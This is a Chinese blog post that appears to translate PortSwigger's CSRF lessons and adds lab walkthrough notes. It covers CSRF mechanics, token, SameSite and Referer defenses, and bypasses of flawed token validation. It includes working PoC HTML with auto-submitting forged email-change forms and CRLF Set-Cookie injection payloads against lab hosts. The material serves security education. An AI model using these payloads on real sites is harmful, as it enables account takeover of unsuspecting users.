侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

跨站请求伪造

咿呀咿呀
2022-04-16 / 0 评论 / 0 点赞 / 274 阅读 / 11,582 字
温馨提示:
本文最后更新于 2022-04-16,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

所有内容,来自burpsuite官方靶场(portswigger)

跨站请求伪造(CSRF)

image-20211017155710608

什么时CSRF?

​ 跨站请求伪造(CSRF)时一种Web安全漏洞,允许攻击者诱使用户执行他们不打算执行的操作。它允许攻击者规避旨在防止不同网站相互干扰的同源策略。

CSRF是如何工作的?

要使 CSRF 攻击成为可能,必须具备三个关键条件:

  • **一个相关的动作。**应用程序中存在攻击者有理由诱导的操作。这可能是特权操作(例如修改其他用户的权限)或对用户特定数据的任何操作(例如更改用户自己的密码)。
  • **基于 Cookie 的会话处理。**执行该操作涉及发出一个或多个 HTTP 请求,应用程序仅依赖会话 cookie 来识别发出请求的用户。没有其他机制来跟踪会话或验证用户请求。
  • **没有不可预测的请求参数。**执行操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当导致用户更改其密码时,如果攻击者需要知道现有密码的值,该函数就不会受到攻击。

例如,假设一个应用程序包含一个函数,允许用户更改其帐户上的电子邮件地址。当用户执行此操作时,他们会发出如下 HTTP 请求:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

这满足CSRF要求的条件:

  • 更改用户帐户上的电子邮件地址的操作是攻击者感兴趣的。执行此操作后,攻击者通常能够触发密码重置并完全控制用户的帐户。
  • 应用程序使用会话 cookie 来识别发出请求的用户。没有其他令牌或机制来跟踪用户会话。
  • 攻击者可以轻松确定执行操作所需的请求参数的值。

有了这些条件,攻击者就可以构建一个包含以下 HTML 的网页:

<html> 
    <body>  
        <form action="https://vulnerable-website.com/email/change" method="POST">   
            <input type="hidden" name="email" value="pwned@evil-user.net" />  
        </form>  
        <script>   document.forms[0].submit();  </script> </body></html>

如果受害用户访问攻击者的网页,将发生以下情况:

  • 攻击者的页面将触发对易受攻击的网站的 HTTP 请求。
  • 如果用户登录到易受攻击的网站,他们的浏览器将自动在请求中包含他们的会话 cookie(假设没有使用SameSite cookie)。
  • 易受攻击的网站将以正常方式处理请求,将其视为由受害用户发出,并更改其电子邮件地址。

Tips:
尽管 CSRF 通常与基于 cookie 的会话处理相关,但它也出现在其他上下文中,其中应用程序自动向请求添加一些用户凭据,例如 HTTP 基本身份验证和基于证书的身份验证。

如何构造CSRF攻击

​ 手动创建 CSRF 漏洞所需的 HTML 可能很麻烦,尤其是在所需的请求包含大量参数或请求中有其他怪癖的情况下。构建 CSRF 漏洞的最简单方法是使用Burp Suite Professional内置的CSRF PoC 生成器

  • 在 Burp Suite Professional 中的任意位置选择您想要测试或利用的请求。
  • 从右键单击上下文菜单中,选择参与工具/生成 CSRF PoC。
  • Burp Suite 会生成一些 HTML 来触发选定的请求(减去 cookie,受害者的浏览器会自动添加这些 cookie)。
  • 可以调整 CSRF PoC 生成器中的各种选项来微调攻击的各个方面。可能需要在一些不寻常的情况下执行此操作以处理请求的古怪功能。
  • 将生成的 HTML 复制到网页中,在登录到易受攻击的网站的浏览器中查看,并测试预期请求是否成功发出并执行所需操作。
LAB:没有防御的CSRF漏洞

image-20211017161624843

如何提供CSRF漏洞利用

​ 跨站请求伪造攻击的传递机制与反射型 XSS的传递机制基本相同。通常,攻击者会将恶意 HTML 放在他们控制的网站上,然后诱使受害者访问该网站。这可以通过电子邮件或社交媒体消息向用户提供网站链接来完成。或者,如果攻击被放置在一个流行的网站上(例如,在用户评论中),他们可能只是等待用户访问该网站。

请注意,一些简单的 CSRF 漏洞利用 GET 方法,并且可以完全独立于易受攻击的网站上的单个 URL。在这种情况下,攻击者可能不需要使用外部站点,而可以直接向受害者提供易受攻击域上的恶意 URL。在前面的示例中,如果可以使用 GET 方法执行更改电子邮件地址的请求,那么自包含攻击将如下所示:

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

XSS与CSRF

下面将解释XSS与CSRF之间的区间,并讨论CSRF令牌是否有助于防止XSS攻击

XSS和CSRF有什么区别?

跨站点脚本(或 XSS)允许攻击者在受害用户的浏览器中执行任意 JavaScript。

跨站点请求伪造(或 CSRF)允许攻击者诱使受害用户执行他们不打算执行的操作。

XSS 漏洞的后果通常比 CSRF 漏洞更严重:

  • CSRF 通常仅适用于用户能够执行的操作的子集。许多应用程序通常实施 CSRF 防御,但忽略了一两个暴露的操作。相反,成功的 XSS 攻击通常可以诱使用户执行用户能够执行的任何操作,而不管漏洞出现的功能如何。
  • CSRF 可以被描述为“单向”漏洞,因为攻击者可以诱使受害者发出 HTTP 请求,但他们无法从该请求中检索响应。相反,XSS 是“双向”的,因为攻击者注入的脚本可以发出任意请求、读取响应并将数据泄露到攻击者选择的外部域。
CSRF令牌如何防止XSS攻击?

通过有效使用 CSRF 令牌确实可以防止一些 XSS 攻击。考虑一个简单的反射型 XSS漏洞,可以像这样简单地利用它:

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

现在,假设易受攻击的函数包含一个 CSRF 令牌:

https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>

假设服务器正确验证了 CSRF 令牌,并拒绝没有有效令牌的请求,那么令牌确实可以防止 XSS 漏洞的利用。这里的线索在于名称:“跨站点脚本”,至少在其反映形式中,涉及跨站点请求。通过防止攻击者伪造跨站点请求,该应用程序可以防止对 XSS 漏洞的微不足道的利用。

这里出现了一些重要的警告:

  • 如果在不受 CSRF 令牌保护的功能中,站点上其他任何地方存在反射的 XSS漏洞,则可以以正常方式利用该 XSS。
  • 如果站点上的任何地方都存在可利用的 XSS 漏洞,则可以利用该漏洞使受害用户执行操作,即使这些操作本身受到 CSRF 令牌的保护。在这种情况下,攻击者的脚本可以请求相关页面获取有效的CSRF令牌,然后使用该令牌执行受保护的动作。
  • CSRF 令牌不能防止存储的 XSS漏洞。如果受 CSRF 令牌保护的页面也是存储型 XSS漏洞的输出点,那么该 XSS 漏洞可以通过通常的方式被利用,并且 XSS 负载将在用户访问该页面时执行。

防止CSRF攻击

防御 CSRF 攻击的最强大方法是在相关请求中包含CSRF 令牌。令牌应该是:

  • 不可预测的高熵,就像一般的会话令牌一样。
  • 绑定到用户的会话。
  • 在执行相关操作之前,在每种情况下都经过严格验证。

对 CSRF 部分有效并可与CSRF 令牌结合使用的附加防御是SameSite cookie

一些网站使用 SameSite cookie 来防御CSRF 攻击。

该SameSite属性可用于控制是否以及如何在跨站点请求中提交 cookie。通过设置会话 cookie 的属性,应用程序可以阻止默认浏览器行为,即自动将 cookie 添加到请求中,而不管它们来自何处。

当服务器发出 cookie 时, 该SameSite属性被添加到Set-Cookie响应头中,并且该属性可以被赋予两个值,Strict或者Lax. 例如:

Set-Cookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;

Set-Cookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;

如果该SameSite属性设置为Strict,则浏览器将不会在源自其他站点的任何请求中包含 cookie。这是最防御性的选项,但它会损害用户体验,因为如果登录用户通过第三方链接访问某个站点,那么他们将显示为未登录,并且需要在此之前重新登录以正常方式与网站互动。

如果该SameSite属性设置为Lax,则浏览器会将 cookie 包含在来自另一个站点的请求中,但前提是满足两个条件:

该请求使用 GET 方法。使用其他方法(例如 POST)的请求将不包含 cookie。
该请求由用户的顶级导航(例如单击链接)产生。其他请求,例如由脚本发起的请求,将不包含 cookie。
SameSite在Laxmode 中 使用cookie确实可以部分防御 CSRF 攻击,因为作为 CSRF 攻击目标的用户操作通常是使用 POST 方法实现的。这里有两个重要的警告:

某些应用程序确实使用 GET 请求实现敏感操作。
许多应用程序和框架都可以容忍不同的 HTTP 方法。在这种情况下,即使应用程序本身设计使用 POST 方法,它实际上也会接受切换为使用 GET 方法的请求。
由于上述原因,不建议仅依靠 SameSite cookie 来防御 CSRF 攻击。然而,与CSRF 令牌结合使用,SameSite cookie 可以提供额外的防御层,可以减轻基于令牌的防御中的任何缺陷。

什么是CSRF令牌?

​ CSRF 令牌是唯一的、秘密的、不可预测的值,它由服务器端应用程序生成并以包含在客户端发出的后续 HTTP 请求中的方式传输到客户端。发出后一个请求时,服务器端应用程序会验证该请求是否包含预期的令牌,如果令牌丢失或无效,则拒绝该请求。

​ CSRF 令牌可以通过使攻击者无法构建适合提供给受害者用户的完全有效的 HTTP 请求来防止 CSRF 攻击。由于攻击者无法确定或预测用户的 CSRF 令牌的值,因此他们无法使用应用程序满足请求所需的所有参数构建请求。

CSRF令牌如何生成?

​ CSRF 令牌应包含显着的熵,并且具有很强的不可预测性,通常具有与会话令牌相同的属性。

​ 应该使用加密强度伪随机数生成器 (PRNG),以创建时的时间戳加上静态秘密作为种子。

​ 如果需要超出 PRNG 强度的进一步保证,可以通过将其输出与一些特定于用户的熵连接起来生成单个令牌,并对整个结构进行强散列。这对试图根据发给他们的样本分析令牌的攻击者来说是一个额外的障碍。

CSRF令牌如何传输?

​ CSRF 令牌应被视为秘密,并在其整个生命周期中以安全的方式处理。通常有效的方法是在使用 POST 方法提交的 HTML 表单的隐藏字段内将令牌传输到客户端。提交表单时,令牌将作为请求参数包含在内:

<input type="hidden" name="csrf-token" value="CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz" />

为提高安全性,应尽早将包含 CSRF 令牌的字段放置在 HTML 文档中,最好在任何非隐藏输入字段之前以及在 HTML 中嵌入用户可控数据的任何位置之前。这可以减轻攻击者可以使用精心设计的数据来操纵 HTML 文档并捕获其部分内容的各种技术。

将令牌放入 URL 查询字符串的另一种方法不太安全,因为查询字符串:

  • 登录在客户端和服务器端的各个位置;
  • 有可能在 HTTP Referer 标头内传输给第三方;和
  • 可以在用户浏览器的屏幕上显示。

某些应用程序在自定义请求标头中传输 CSRF 令牌。这提供了对设法预测或捕获另一个用户的令牌的攻击者的进一步防御,因为浏览器通常不允许跨域发送自定义标头。但是,该方法将应用程序限制为使用 XHR(而不是 HTML 表单)发出受 CSRF 保护的请求,并且在许多情况下可能被认为过于复杂。

CSRF 令牌不应在 cookie 中传输。

如何验证CSRF令牌?

​ 当生成 CSRF 令牌时,它应该存储在用户会话数据中的服务器端。当接收到需要验证的后续请求时,服务器端应用程序应验证该请求是否包含与存储在用户会话中的值相匹配的令牌。无论请求的 HTTP 方法或内容类型如何,都必须执行此验证。如果请求根本不包含任何令牌,则应以与存在无效令牌时相同的方式拒绝它。

常见的CSRF漏洞

最有趣的CSRF漏洞是由于CSRF令牌验证中的错误引起的

在前面的示例中,假设应用程序现在在更改用户密码的请求中包含一个 CSRF 令牌:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com

这应该可以防止 CSRF 攻击,因为它违反了 CSRF 漏洞的必要条件:应用程序不再仅依赖 cookie 进行会话处理,并且请求包含攻击者无法确定其值的参数。但是,有多种方法可以破坏防御,这意味着应用程序仍然容易受到 CSRF 的攻击。

CSRF令牌的验证取决于请求方法

​ 某些应用程序在请求使用 POST 方法时正确验证令牌,但在使用 GET 方法时跳过验证。

在这种情况下,攻击者可以切换到 GET 方法绕过验证并进行 CSRF 攻击:

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.comCookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
LAB:CSRF,其中令牌验证取决于请求方法

image-20211017193453502

更改请求方法

image-20211017193554770

image-20211017204544694

CSRF令牌的验证取决于是否存在令牌

某些应用程序在令牌存在时正确验证令牌,但如果省略令牌则跳过验证。

在这种情况下,攻击者可以移除包含令牌的整个参数(不仅仅是它的值)来绕过验证并发起 CSRF 攻击:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net
LAB:CSRF令牌的验证取决于是否存在令牌

删除csrf“键值对”

CSRF令牌不绑定到用户会话

​ 某些应用程序不会验证令牌是否与发出请求的用户属于同一会话。相反,应用程序维护一个它已发行的全局令牌池,并接受出现在该池中的任何令牌。

在这种情况下,攻击者可以使用自己的帐户登录应用程序,获取有效令牌,然后在 CSRF 攻击中将该令牌提供给受害用户。

LAB:令牌不绑定到用户会话的CSRF

两个账户、两个浏览器,互换CSRF令牌

CSRF令牌绑定到非会话cookie

​ 在上述漏洞的变体中,某些应用程序确实将 CSRF 令牌绑定到 cookie,但与用于跟踪会话的 cookie 不同。当应用程序使用两种不同的框架时,这很容易发生,一种用于会话处理,一种用于 CSRF 保护,它们没有集成在一起:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

​ 这种情况更难利用,但仍然容易受到攻击。如果该网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,那么攻击就有可能发生。攻击者可以使用自己的帐户登录应用程序,获取有效的令牌和关联的 cookie,利用 cookie 设置行为将其 cookie 放入受害者的浏览器,并在 CSRF 攻击中将其令牌提供给受害者

LAB:令牌绑定到非会话cookie的CSRF

image-20211019100632680

更改session会注销cookie、退出登录状态

更改csrf,会提示"Invalid CSRF token",表明csefkey可能没有严格绑定到会话(此时会话已注销)

登录第二个账户,csrfKeycookie 和csrf参数从第一个帐户交换到第二个帐户,修改email成功

执行搜索功能

image-20211019104927251

搜索功能没有CSRF保护,可以用它来将cookie注入受害者的浏览器

/?search=test%0d%0aSet-Cookie:%20csrfKey=your-key

image-20211019105144271

重新post 修改邮箱请求、生成CSRF POC

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac741f411e4ed0b3c0c5e44e00470091.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="testz&#64;fff&#46;cn" />
      <input type="hidden" name="csrf" value="xjF5c2dptCLZdBqOYjgFxLjIFMqUQDat" />
      <input type="submit" value="Submit request" />
    </form>
 
       <img src="https://ac741f411e4ed0b3c0c5e44e00470091.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=QkIDd5VBBqV4eZTc8yBNROlReMxMhJbo" onerror="document.forms[0].submit()">;

  </body>
</html>
CSRF令牌简单地复制到cookie中

​ 在上述漏洞的进一步变体中,一些应用程序不维护任何已发布令牌的服务器端记录,而是在 cookie 和请求参数中复制每个令牌。在验证后续请求时,应用程序只需验证请求参数中提交的令牌是否与 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,并且被提倡是因为它易于实现并且避免了任何服务器端状态的需要:

POST /email/change HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 68Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpacsrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

​ 在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获得他们自己的有效令牌。他们只是发明了一个令牌(可能是所需的格式,如果正在检查),利用 cookie 设置行为将他们的 cookie 放入受害者的浏览器,并在他们的 CSRF 攻击中将他们的令牌提供给受害者。

LAB:CSRF,其中令牌在Cookei中重复

image-20211019113746783

可以发现:csrfbody 参数的值只是通过将它与csrfcookie进行比较来验证

image-20211019113903048

搜索功能没有CSRF保护、且搜索词出现在Set-Cookie标头中、故可以将cookie注入受害者的浏览器

/?search=test%0d%0aSet-Cookie:%20csrf=fake

image-20211019114202154

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://acce1fe61f20dacec093379a003600aa.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;test&#46;cn" />
      <input type="hidden" name="csrf" value="abcd1234" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://acce1fe61f20dacec093379a003600aa.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=abcd1234" onerror="document.forms[0].submit();"/>
  </body>
</html>

image-20211019141851875

基于Referer的CSRF防御

​ 除了使用 CSRF 令牌的防御之外,一些应用程序还使用 HTTPReferer标头来尝试防御 CSRF 攻击,通常是通过验证请求是否来自应用程序自己的域。这种方法通常不太有效,并且经常被绕过。

Referer的验证取决于是否存在标头

​ 某些应用程序Referer会在请求中存在标头时验证标头,但如果省略标头则跳过验证。

在这种情况下,攻击者可以通过某种方式制作他们的 CSRF 漏洞利用,从而导致受害者用户的浏览器Referer在结果请求中删除标头。有多种方法可以实现这一点,但最简单的方法是在承载 CSRF 攻击的 HTML 页面中使用 META 标记:

###### LAB:CSRF,其中Referer验证取决于标头是否存在

image-20211019142900424

可以绕过Referer的验证

​ 一些应用程序Referer以一种可以绕过的幼稚方式验证标头。例如,如果应用程序验证中的域以Referer预期值开头,则攻击者可以将其作为自己域的子域:http://vulnerable-website.com.attacker-website.com/csrf-attack

同样,如果应用程序只是验证Referer包含自己的域名,则攻击者可以将所需的值放在 URL 的其他位置:http://attacker-website.com/csrf-attack?vulnerable-website.com

Tips:
		为了降低敏感数据以这种方式泄露的风险,许多浏览器现在Referer默认从标题中剥离查询字符串。
		可以通过确保您的漏洞利用的响应具有Referrer-Policy: unsafe-url标头集来覆盖此行为(请注意,Referrer在这种情况下拼写正确,只是为了确保您注意!)。这确保将发送完整的 URL,包括查询字符串。
LAB:带有损坏的Referer验证的CSRF

image-20211019143639630

History.pushState()
History API
在 HTML 文档中,history.pushState() 方法向当前浏览器会话的历史堆栈中添加一个状态(state)。

语法
history.pushState(state, title[, url])
参数
state
状态对象是一个JavaScript对象,它与pushState()创建的新历史记录条目相关联。 每当用户导航到新状态时,都会触发popstate (en-US)事件,并且该事件的状态属性包含历史记录条目的状态对象的副本。
状态对象可以是任何可以序列化的对象。 因为Firefox将状态对象保存到用户的磁盘上,以便用户重新启动浏览器后可以将其还原,所以我们对状态对象的序列化表示施加了640k个字符的大小限制。 如果将序列化表示形式大于此状态的状态对象传递给pushState(),则该方法将引发异常。 如果您需要更多空间,建议您使用 sessionStorage或者localStorage。
title
当前大多数浏览器都忽略此参数,尽管将来可能会使用它。 在此处传递空字符串应该可以防止将来对方法的更改。 或者,您可以为要移动的状态传递简短的标题。
url 可选
新历史记录条目的URL由此参数指定。 请注意,浏览器不会在调用pushState() 之后尝试加载此URL,但可能会稍后尝试加载URL,例如在用户重新启动浏览器之后。 新的URL不必是绝对的。 如果是相对的,则相对于当前URL进行解析。 新网址必须与当前网址相同 origin; 否则,pushState()将引发异常。 如果未指定此参数,则将其设置为文档的当前URL。
描述
从某种程度来说, 调用 pushState() 和 window.location = "#foo"基本上一样, 他们都会在当前的document中创建和激活一个新的历史记录。但是 pushState() 有以下优势:

新的URL可以是任何和当前URL同源的URL。但是设置 window.location 只会在你只设置锚的时候才会使当前的URL。
非强制修改URL。相反,设置 window.location = "#foo"; 仅仅会在锚的值不是#foo情况下创建一条新的历史记录。
可以在新的历史记录中关联任何数据。window.location = "#foo"形式的操作,你只可以将所需数据写入锚的字符串中。
注意: pushState() 不会造成 hashchange (en-US) 事件调用, 即使新的URL和之前的URL只是锚的数据不同。


0

评论区